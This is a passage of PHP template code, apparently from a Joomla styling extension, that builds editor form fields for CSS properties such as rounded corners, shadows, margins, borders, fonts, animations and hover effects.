			</label><input class="<?php echo $prefix; ?>" type="radio" value="repeat-x" id="<?php echo $prefix; ?>backgroundimagerepeat-x" name="<?php echo $prefix; ?>backgroundimagerepeat" />
			<label class="ckbutton"  for="<?php echo $prefix; ?>backgroundimagerepeat-x"><img class="ckicon" src="<?php echo $this->imagespath ?>/bg_repeat-x.png" />
			</label><input class="<?php echo $prefix; ?>" type="radio" value="repeat-y" id="<?php echo $prefix; ?>backgroundimagerepeat-y" name="<?php echo $prefix; ?>backgroundimagerepeat" />
			<label class="ckbutton last"  for="<?php echo $prefix; ?>backgroundimagerepeat-y"><img class="ckicon" src="<?php echo $this->imagespath ?>/bg_repeat-y.png" />
			</label><input class="<?php echo $prefix; ?>" type="radio" value="no-repeat" id="<?php echo $prefix; ?>backgroundimagerepeatno-repeat" name="<?php echo $prefix; ?>backgroundimagerepeat" />
			<label class="ckbutton last"  for="<?php echo $prefix; ?>backgroundimagerepeatno-repeat"><img class="ckicon" src="<?php echo $this->imagespath ?>/bg_no-repeat.png" /></label>
		</div>
	</div>
	<?php
	}
	public function createRoundedCorners($prefix) {
	?>
	<div class="ckrow">
		<label for="<?php echo $prefix; ?>borderradiustopleft"><?php echo CKText::_('CK_ROUNDEDCORNERS_LABEL'); ?></label>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/border_radius_tl.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>borderradiustopleft" name="<?php echo $prefix; ?>borderradiustopleft" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_ROUNDEDCORNERSTL_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/border_radius_tr.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>borderradiustopright" name="<?php echo $prefix; ?>borderradiustopright" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_ROUNDEDCORNERSTR_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/border_radius_br.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>borderradiusbottomright" name="<?php echo $prefix; ?>borderradiusbottomright" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_ROUNDEDCORNERSBR_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/border_radius_bl.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>borderradiusbottomleft" name="<?php echo $prefix; ?>borderradiusbottomleft" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_ROUNDEDCORNERSBL_DESC'); ?>" /></span>
	</div>
	<?php
	}
	public function createShadow($prefix) {
	?>
	<div class="ckrow">
		<label for="<?php echo $prefix; ?>shadowcolor"><?php echo CKText::_('CK_SHADOW_LABEL'); ?></label>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/color.png" />
		<span><input type="text" id="<?php echo $prefix; ?>shadowcolor" name="<?php echo $prefix; ?>shadowcolor" class="<?php echo $prefix; ?> <?php echo $this->colorpicker_class; ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/shadow_blur.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>shadowblur" name="<?php echo $prefix; ?>shadowblur" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_SHADOWBLUR_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/shadow_spread.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>shadowspread" name="<?php echo $prefix; ?>shadowspread" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_SHADOWSPREAD_DESC'); ?>" /></span>
	</div>
	<div class="ckrow">
		<label></label>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/offsetx.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>shadowoffseth" name="<?php echo $prefix; ?>shadowoffseth" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_OFFSETX_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/offsety.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>shadowoffsetv" name="<?php echo $prefix; ?>shadowoffsetv" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_OFFSETY_DESC'); ?>" /></span>
		<div class="ckbutton-group">
			<input class="<?php echo $prefix; ?>" type="radio" value="0" id="<?php echo $prefix; ?>shadowinsetno" name="<?php echo $prefix; ?>shadowinset" />
			<label class="ckbutton last"  for="<?php echo $prefix; ?>shadowinsetno" style="width:auto;"><?php echo CKText::_('CK_OUT'); ?>
			</label><input class="<?php echo $prefix; ?>" type="radio" value="1" id="<?php echo $prefix; ?>shadowinsetyes" name="<?php echo $prefix; ?>shadowinset" />
			<label class="ckbutton last"  for="<?php echo $prefix; ?>shadowinsetyes" style="width:auto;"><?php echo CKText::_('CK_IN'); ?></label>
		</div>
	</div>
	<?php
	}
	public function createTextShadow($prefix) {
	?>
	<div class="ckrow">
		<label for="<?php echo $prefix; ?>textshadowcolor"><?php echo CKText::_('CK_TEXTSHADOW_LABEL'); ?></label>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/color.png" />
		<span><input type="text" id="<?php echo $prefix; ?>textshadowcolor" name="<?php echo $prefix; ?>textshadowcolor" class="<?php echo $prefix; ?> <?php echo $this->colorpicker_class; ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/shadow_blur.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>textshadowblur" name="<?php echo $prefix; ?>textshadowblur" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_SHADOWBLUR_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/offsetx.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>textshadowoffsetx" name="<?php echo $prefix; ?>textshadowoffsetx" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_OFFSETX_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/offsety.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>textshadowoffsety" name="<?php echo $prefix; ?>textshadowoffsety" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_OFFSETY_DESC'); ?>" /></span>
	</div>
	<?php
	}

	public function createDimensions($prefix) {
	?>
	<div class="ckrow">
		<label for="<?php echo $prefix; ?>width"><?php echo CKText::_('CK_WIDTH_LABEL'); ?></label>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/width.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>width" name="<?php echo $prefix; ?>width" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_WIDTH_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/height.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>height" name="<?php echo $prefix; ?>height" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_HEIGHT_DESC'); ?>" /></span>
	</div>
	<?php
	}

	public function createMargins($prefix, $margin = true, $padding = true) {
	?>
	<?php if ($margin) { ?>
	<div class="ckrow">
		<label for="<?php echo $prefix; ?>margintop"><?php echo CKText::_('CK_MARGIN_LABEL'); ?></label>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/margin_top.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>margintop" name="<?php echo $prefix; ?>margintop" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_MARGINTOP_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/margin_right.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>marginright" name="<?php echo $prefix; ?>marginright" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_MARGINRIGHT_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/margin_bottom.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>marginbottom" name="<?php echo $prefix; ?>marginbottom" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_MARGINBOTTOM_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/margin_left.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>marginleft" name="<?php echo $prefix; ?>marginleft" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_MARGINLEFT_DESC'); ?>" /></span>
	</div>
	<?php } ?>
	<?php if ($padding) { ?>
	<div class="ckrow">
		<label for="<?php echo $prefix; ?>paddingtop"><?php echo CKText::_('CK_PADDING_LABEL'); ?></label>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/padding_top.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>paddingtop" name="<?php echo $prefix; ?>paddingtop" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_PADDINGTOP_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/padding_right.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>paddingright" name="<?php echo $prefix; ?>paddingright" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_PADDINGRIGHT_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/padding_bottom.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>paddingbottom" name="<?php echo $prefix; ?>paddingbottom" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_PADDINGBOTTOM_DESC'); ?>" /></span>
		<span><img class="ckicon" src="<?php echo $this->imagespath ?>/padding_left.png" /></span><span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>paddingleft" name="<?php echo $prefix; ?>paddingleft" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_PADDINGLEFT_DESC'); ?>" /></span>
	</div>
	<?php } ?>
	<?php
	}

	public function createBorders($prefix) {
	?>
	<div class="ckrow">
		<label for="<?php echo $prefix; ?>bordertopcolor"><?php echo CKText::_('CK_BORDERCOLOR_LABEL'); ?></label>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/color.png" />
		<span><input type="text" id="<?php echo $prefix; ?>bordertopcolor" name="<?php echo $prefix; ?>bordertopcolor" class="<?php echo $prefix; ?> <?php echo $this->colorpicker_class; ?>" title="<?php echo CKText::_('CK_BORDERCOLOR_DESC'); ?>"/></span>
		<span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>bordertopsize" name="<?php echo $prefix; ?>bordertopsize" class="<?php echo $prefix; ?> cktip" style="width:45px;border-top-color:#237CA4;" title="<?php echo CKText::_('CK_BORDERTOPWIDTH_DESC'); ?>" /></span>
		<span>
			<select id="<?php echo $prefix; ?>bordertopstyle" name="<?php echo $prefix; ?>bordertopstyle" class="<?php echo $prefix; ?> cktip" style="width: 70px; border-radius: 0px;">
				<option value="solid">solid</option>
				<option value="dotted">dotted</option>
				<option value="dashed">dashed</option>
			</select>
		</span>
	</div>
	<div class="ckrow">
		<label></label>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/color.png" />
		<span><input type="text" id="<?php echo $prefix; ?>borderrightcolor" name="<?php echo $prefix; ?>borderrightcolor" class="<?php echo $prefix; ?> <?php echo $this->colorpicker_class; ?>" title="<?php echo CKText::_('CK_BORDERCOLOR_DESC'); ?>"/></span>
		<span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>borderrightsize" name="<?php echo $prefix; ?>borderrightsize" class="<?php echo $prefix; ?> cktip" style="width:45px;border-right-color:#237CA4;" title="<?php echo CKText::_('CK_BORDERRIGHTWIDTH_DESC'); ?>" /></span>
		<span>
			<select id="<?php echo $prefix; ?>borderrightstyle" name="<?php echo $prefix; ?>borderrightstyle" class="<?php echo $prefix; ?> cktip" style="width: 70px; border-radius: 0px;">
				<option value="solid">solid</option>
				<option value="dotted">dotted</option>
				<option value="dashed">dashed</option>
			</select>
		</span>
	</div>
	<div class="ckrow">
		<label></label>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/color.png" />
		<span><input type="text" id="<?php echo $prefix; ?>borderbottomcolor" name="<?php echo $prefix; ?>borderbottomcolor" class="<?php echo $prefix; ?> <?php echo $this->colorpicker_class; ?>" title="<?php echo CKText::_('CK_BORDERCOLOR_DESC'); ?>"/></span>
		<span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>borderbottomsize" name="<?php echo $prefix; ?>borderbottomsize" class="<?php echo $prefix; ?> cktip" style="width:45px;border-bottom-color:#237CA4;" title="<?php echo CKText::_('CK_BORDERBOTTOMWIDTH_DESC'); ?>" /></span>
		<span>
			<select id="<?php echo $prefix; ?>borderbottomstyle" name="<?php echo $prefix; ?>borderbottomstyle" class="<?php echo $prefix; ?> cktip" style="width: 70px; border-radius: 0px;">
				<option value="solid">solid</option>
				<option value="dotted">dotted</option>
				<option value="dashed">dashed</option>
			</select>
		</span>
	</div>
	<div class="ckrow">
		<label></label>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/color.png" />
		<span><input type="text" id="<?php echo $prefix; ?>borderleftcolor" name="<?php echo $prefix; ?>borderleftcolor" class="<?php echo $prefix; ?> <?php echo $this->colorpicker_class; ?>" title="<?php echo CKText::_('CK_BORDERCOLOR_DESC'); ?>"/></span>
		<span style="width:45px;"><input type="text" id="<?php echo $prefix; ?>borderleftsize" name="<?php echo $prefix; ?>borderleftsize" class="<?php echo $prefix; ?> cktip" style="width:45px;border-left-color:#237CA4;" title="<?php echo CKText::_('CK_BORDERLEFTWIDTH_DESC'); ?>" /></span>
		<span>
			<select id="<?php echo $prefix; ?>borderleftstyle" name="<?php echo $prefix; ?>borderleftstyle" class="<?php echo $prefix; ?> cktip" style="width: 70px; border-radius: 0px;">
				<option value="solid">solid</option>
				<option value="dotted">dotted</option>
				<option value="dashed">dashed</option>
			</select>
		</span>
	</div>
	<?php
	}

	public function createText($prefix) { 
	?>
	<div class="ckrow">
		<label for="<?php echo $prefix; ?>textgfont"><?php echo CKText::_('CK_FONTSTYLE_LABEL'); ?></label>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/font_add.png" />
		<input type="text" id="<?php echo $prefix; ?>textgfont" name="<?php echo $prefix; ?>textgfont" class="<?php echo $prefix; ?> cktip gfonturl" title="<?php echo CKText::_('CK_GFONT_DESC'); ?>" style="max-width:none;width:250px;" />
		<input type="hidden" id="<?php echo $prefix; ?>textisgfont" name="<?php echo $prefix; ?>textisgfont" class="isgfont <?php echo $prefix; ?>" />
	</div>
	<div class="ckrow">
		<label></label>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/style.png" />
		<input type="text" id="<?php echo $prefix; ?>fontsize" name="<?php echo $prefix; ?>fontsize" class="<?php echo $prefix; ?> cktip" style="width:45px;" title="<?php echo CKText::_('CK_FONTSIZE_DESC'); ?>" />
		<img class="ckicon" src="<?php echo $this->imagespath ?>/color.png" />
		<span><?php echo CKText::_('CK_NORMAL'); ?></span>
		<input type="text" id="<?php echo $prefix; ?>color" name="<?php echo $prefix; ?>color" class="<?php echo $prefix; ?> cktip <?php echo $this->colorpicker_class; ?>" title="<?php echo CKText::_('CK_FONTCOLOR_DESC'); ?>" />
	</div>
	<div class="ckrow">
		<label for="">&nbsp;</label><img class="ckicon" src="<?php echo $this->imagespath ?>/font.png" />
		<div class="ckbutton-group">
			<input class="<?php echo $prefix; ?>" type="radio" value="left" id="<?php echo $prefix; ?>textalignleft" name="<?php echo $prefix; ?>textalign" />
			<label class="ckbutton first" for="<?php echo $prefix; ?>textalignleft"><img class="ckicon" src="<?php echo $this->imagespath ?>/text_align_left.png" />
			</label><input class="<?php echo $prefix; ?>" type="radio" value="center" id="<?php echo $prefix; ?>textaligncenter" name="<?php echo $prefix; ?>textalign" />
			<label class="ckbutton"  for="<?php echo $prefix; ?>textaligncenter"><img class="ckicon" src="<?php echo $this->imagespath ?>/text_align_center.png" />
			</label><input class="<?php echo $prefix; ?>" type="radio" value="right" id="<?php echo $prefix; ?>textalignright" name="<?php echo $prefix; ?>textalign" />
			<label class="ckbutton last"  for="<?php echo $prefix; ?>textalignright"><img class="ckicon" src="<?php echo $this->imagespath ?>/text_align_right.png" /></label>
		</div>
		<div class="ckbutton-group">
			<input class="<?php echo $prefix; ?>" type="radio" value="lowercase" id="<?php echo $prefix; ?>texttransformlowercase" name="<?php echo $prefix; ?>texttransform" />
			<label class="ckbutton first cktip" title="<?php echo CKText::_('CK_LOWERCASE'); ?>" for="<?php echo $prefix; ?>texttransformlowercase"><img class="ckicon" src="<?php echo $this->imagespath ?>/text_lowercase.png" />
			</label><input class="<?php echo $prefix; ?>" type="radio" value="uppercase" id="<?php echo $prefix; ?>texttransformuppercase" name="<?php echo $prefix; ?>texttransform" />
			<label class="ckbutton cktip" title="<?php echo CKText::_('CK_UPPERCASE'); ?>" for="<?php echo $prefix; ?>texttransformuppercase"><img class="ckicon" src="<?php echo $this->imagespath ?>/text_uppercase.png" />
			</label><input class="<?php echo $prefix; ?>" type="radio" value="capitalize" id="<?php echo $prefix; ?>texttransformcapitalize" name="<?php echo $prefix; ?>texttransform" />
			<label class="ckbutton cktip" title="<?php echo CKText::_('CK_CAPITALIZE'); ?>" for="<?php echo $prefix; ?>texttransformcapitalize"><img class="ckicon" src="<?php echo $this->imagespath ?>/text_capitalize.png" />
			</label><input class="<?php echo $prefix; ?>" type="radio" value="default" id="<?php echo $prefix; ?>texttransformdefault" name="<?php echo $prefix; ?>texttransform" />
			<label class="ckbutton cktip" title="<?php echo CKText::_('CK_DEFAULT'); ?>" for="<?php echo $prefix; ?>texttransformdefault"><img class="ckicon" src="<?php echo $this->imagespath ?>/text_default.png" />
			</label>
		</div>
	</div>
	<div class="ckrow">
		<label for="<?php echo $prefix; ?>fontweightbold"></label>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/text_bold.png" />
		<div class="ckbutton-group">
			<input class="<?php echo $prefix; ?>" type="radio" value="bold" id="<?php echo $prefix; ?>fontweightbold" name="<?php echo $prefix; ?>fontweight" />
			<label class="ckbutton first cktip" title="" for="<?php echo $prefix; ?>fontweightbold" style="width:auto;"><?php echo CKText::_('CK_BOLD'); ?>
			</label><input class="<?php echo $prefix; ?>" type="radio" value="normal" id="<?php echo $prefix; ?>fontweightnormal" name="<?php echo $prefix; ?>fontweight" />
			<label class="ckbutton cktip" title="" for="<?php echo $prefix; ?>fontweightnormal" style="width:auto;"><?php echo CKText::_('CK_NORMAL'); ?>
			</label>
		</div>
		<img class="ckicon" src="<?php echo $this->imagespath ?>/text_underline.png" />
		<div class="ckbutton-group">
			<input class="<?php echo $prefix; ?>" type="radio" value="underline" id="<?php echo $prefix; ?>fontunderlineunderline" name="<?php echo $prefix; ?>fontunderline" />
			<label class="ckbutton first cktip" title="" for="<?php echo $prefix; ?>fontunderlineunderline" style="width:auto;"><?php echo ucfirst(CKText::_('CK_UNDERLINE')); ?>
			</label><input class="<?php echo $prefix; ?>" type="radio" value="none" id="<?php echo $prefix; ?>fontunderlinenone" name="<?php echo $prefix; ?>fontunderline" />
			<label class="ckbutton cktip" title="" for="<?php echo $prefix; ?>fontunderlinenone" style="width:auto;"><?php echo CKText::_('CK_NORMAL'); ?>
			</label>
		</div>
	</div>
	<?php
	}

	public function createAnimations($prefix) {
	?>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>animdur"><?php echo CKText::_('CK_DURATION'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/hourglass.png" />
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>animdur" id="<?php echo $prefix; ?>animdur" value="1" /> [s]
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>animdelay"><?php echo CKText::_('CK_DELAY'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/hourglass.png" />
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>animdelay" id="<?php echo $prefix; ?>animdelay" value="0" /> [s]
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>animfade"><?php echo CKText::_('CK_FADE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shading.png" />
			<select class="<?php echo $prefix; ?>" type="list" name="<?php echo $prefix; ?>animfade" id="<?php echo $prefix; ?>animfade" value="" style="width: 100px;" >
				<option value="0"><?php echo CKText::_('JNO'); ?></option>
				<option value="1"><?php echo CKText::_('JYES'); ?></option>
			</select>
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>animmove"><?php echo CKText::_('CK_MOVE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_square_go.png" />
			<select class="<?php echo $prefix; ?>" type="list" name="<?php echo $prefix; ?>animmove" id="<?php echo $prefix; ?>animmove" value="" style="width: 100px;" >
				<option value="0"><?php echo CKText::_('JNO'); ?></option>
				<option value="1"><?php echo CKText::_('JYES'); ?></option>
			</select>
			<select class="<?php echo $prefix; ?> cktip" title="<?php echo CKText::_('CK_DIRECTION'); ?>" type="list" name="<?php echo $prefix; ?>animmovedir" id="<?php echo $prefix; ?>animmovedir" value="" style="width: 100px;" >
				<option value="ltrck"><?php echo CKText::_('CK_LEFT_TO_RIGHT'); ?></option>
				<option value="rtlck"><?php echo CKText::_('CK_RIGHT_TO_LEFT'); ?></option>
				<option value="ttbck"><?php echo CKText::_('CK_TOP_TO_BOTTOM'); ?></option>
				<option value="bttck"><?php echo CKText::_('CK_BOTTOM_TO_TOP'); ?></option>
			</select>
			<input class="<?php echo $prefix; ?> cktip" title="<?php echo CKText::_('CK_DISTANCE'); ?>" type="text" name="<?php echo $prefix; ?>animmovedist" id="<?php echo $prefix; ?>animmovedist" value="40" /> [px]
		</div>
		
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>animrot"><?php echo CKText::_('CK_ROTATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_rotate_clockwise.png" />
			<select class="<?php echo $prefix; ?>" type="list" name="<?php echo $prefix; ?>animrot" id="<?php echo $prefix; ?>animrot" value="" style="width: 100px;" >
				<option value="0"><?php echo CKText::_('JNO'); ?></option>
				<option value="1"><?php echo CKText::_('JYES'); ?></option>
			</select>
			<select class="<?php echo $prefix; ?>" type="list" name="<?php echo $prefix; ?>animrotrad" id="<?php echo $prefix; ?>animrotrad" value="" style="width: 100px;" >
				<option value="45">45°</option>
				<option value="90">90°</option>
				<option value="180">180°</option>
				<option value="270">270°</option>
				<option value="360">360°</option>
			</select>
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>animscale"><?php echo CKText::_('CK_SCALE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_handles.png" />
			<select class="<?php echo $prefix; ?>" type="list" name="<?php echo $prefix; ?>animscale" id="<?php echo $prefix; ?>animscale" value="" style="width:100px;" >
				<option value="0"><?php echo CKText::_('JNO'); ?></option>
				<option value="1"><?php echo CKText::_('JYES'); ?></option>
			</select>
		</div>
		<div class="ckrow">
			<a class="ckbutton" href="javascript:void(0)" onclick="ckPlayAnimationPreview('<?php echo $prefix; ?>')"><i class="icon icon-play"></i><?php echo CKText::_('CK_PLAY_ANIMATION'); ?></a>
		</div>
	<?php
	}

	public function createEffects($prefix) {
	?>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>fxdur"><?php echo CKText::_('CK_DURATION'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/hourglass.png" />
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>fxdur" id="<?php echo $prefix; ?>fxdur" value="1" /> [s]
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>fxdelay"><?php echo CKText::_('CK_DELAY'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/hourglass.png" />
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>fxdelay" id="<?php echo $prefix; ?>fxdelay" value="0" /> [s]
		</div>
		<div class="ckheading"><?php echo CKText::_('CK_OPACITY'); ?></div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>fxopacity"><?php echo CKText::_('CK_NORMAL_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shading.png" />
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>fxopacity" id="<?php echo $prefix; ?>fxopacity" value="" >
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>fxopacity"><?php echo CKText::_('CK_HOVER_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shading.png" />
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>hoverfxopacity" id="<?php echo $prefix; ?>hoverfxopacity" value="" >
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>fxopacity"><?php echo CKText::_('CK_ACTIVE_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shading.png" />
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>activefxopacity" id="<?php echo $prefix; ?>activefxopacity" value="" >
		</div>
		<div class="ckheading"><?php echo CKText::_('CK_MOVE'); ?></div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>fxmove"><?php echo CKText::_('CK_NORMAL_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_square_go.png" />
			<select class="<?php echo $prefix; ?> cktip" title="<?php echo CKText::_('CK_DIRECTION'); ?>" type="list" name="<?php echo $prefix; ?>fxmovedir" id="<?php echo $prefix; ?>fxmovedir" value="" style="width: 100px;" >
				<option value="ltrck"><?php echo CKText::_('CK_LEFT_TO_RIGHT'); ?></option>
				<option value="rtlck"><?php echo CKText::_('CK_RIGHT_TO_LEFT'); ?></option>
				<option value="ttbck"><?php echo CKText::_('CK_TOP_TO_BOTTOM'); ?></option>
				<option value="bttck"><?php echo CKText::_('CK_BOTTOM_TO_TOP'); ?></option>
			</select>
			<input class="<?php echo $prefix; ?> cktip" title="<?php echo CKText::_('CK_DISTANCE'); ?>" type="text" name="<?php echo $prefix; ?>fxmovedist" id="<?php echo $prefix; ?>fxmovedist" value="" /> [px]
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>hoverfxmove"><?php echo CKText::_('CK_HOVER_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_square_go.png" />
			<select class="<?php echo $prefix; ?>hover cktip" title="<?php echo CKText::_('CK_DIRECTION'); ?>" type="list" name="<?php echo $prefix; ?>hoverfxmovedir" id="<?php echo $prefix; ?>hoverfxmovedir" value="" style="width: 100px;" >
				<option value="ltrck"><?php echo CKText::_('CK_LEFT_TO_RIGHT'); ?></option>
				<option value="rtlck"><?php echo CKText::_('CK_RIGHT_TO_LEFT'); ?></option>
				<option value="ttbck"><?php echo CKText::_('CK_TOP_TO_BOTTOM'); ?></option>
				<option value="bttck"><?php echo CKText::_('CK_BOTTOM_TO_TOP'); ?></option>
			</select>
			<input class="<?php echo $prefix; ?>hover cktip" title="<?php echo CKText::_('CK_DISTANCE'); ?>" type="text" name="<?php echo $prefix; ?>hoverfxmovedist" id="<?php echo $prefix; ?>hoverfxmovedist" value="" /> [px]
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>activefxmove"><?php echo CKText::_('CK_ACTIVE_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_square_go.png" />
			<select class="<?php echo $prefix; ?>active cktip" title="<?php echo CKText::_('CK_DIRECTION'); ?>" type="list" name="<?php echo $prefix; ?>activefxmovedir" id="<?php echo $prefix; ?>activefxmovedir" value="" style="width: 100px;" >
				<option value="ltrck"><?php echo CKText::_('CK_LEFT_TO_RIGHT'); ?></option>
				<option value="rtlck"><?php echo CKText::_('CK_RIGHT_TO_LEFT'); ?></option>
				<option value="ttbck"><?php echo CKText::_('CK_TOP_TO_BOTTOM'); ?></option>
				<option value="bttck"><?php echo CKText::_('CK_BOTTOM_TO_TOP'); ?></option>
			</select>
			<input class="<?php echo $prefix; ?>active cktip" title="<?php echo CKText::_('CK_DISTANCE'); ?>" type="text" name="<?php echo $prefix; ?>activefxmovedist" id="<?php echo $prefix; ?>activefxmovedist" value="" /> [px]
		</div>
		<div class="ckheading"><?php echo CKText::_('CK_ROTATE'); ?></div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>fxrot"><?php echo CKText::_('CK_NORMAL_STATE'); ?></label>
			<img class="ckicon" src="<?php echo $this->imagespath ?>/shape_rotate_clockwise.png" />
			<select class="<?php echo $prefix; ?>" type="list" name="<?php echo $prefix; ?>fxrot" id="<?php echo $prefix; ?>fxrot" value="" style="width: 100px;" >
				<option value="0"><?php echo CKText::_('JNO'); ?></option>
				<option value="1"><?php echo CKText::_('JYES'); ?></option>
			</select>
			<input class="<?php echo $prefix; ?>" type="text" name="<?php echo $prefix; ?>fxrotrad" id="<?php echo $prefix; ?>fxrotrad" value="" /> °
		</div>
		<div class="ckrow">
			<label for="<?php echo $prefix; ?>hoverfxrot"><?php echo CKText::_('CK_HOVER_STATE'); ?></label>
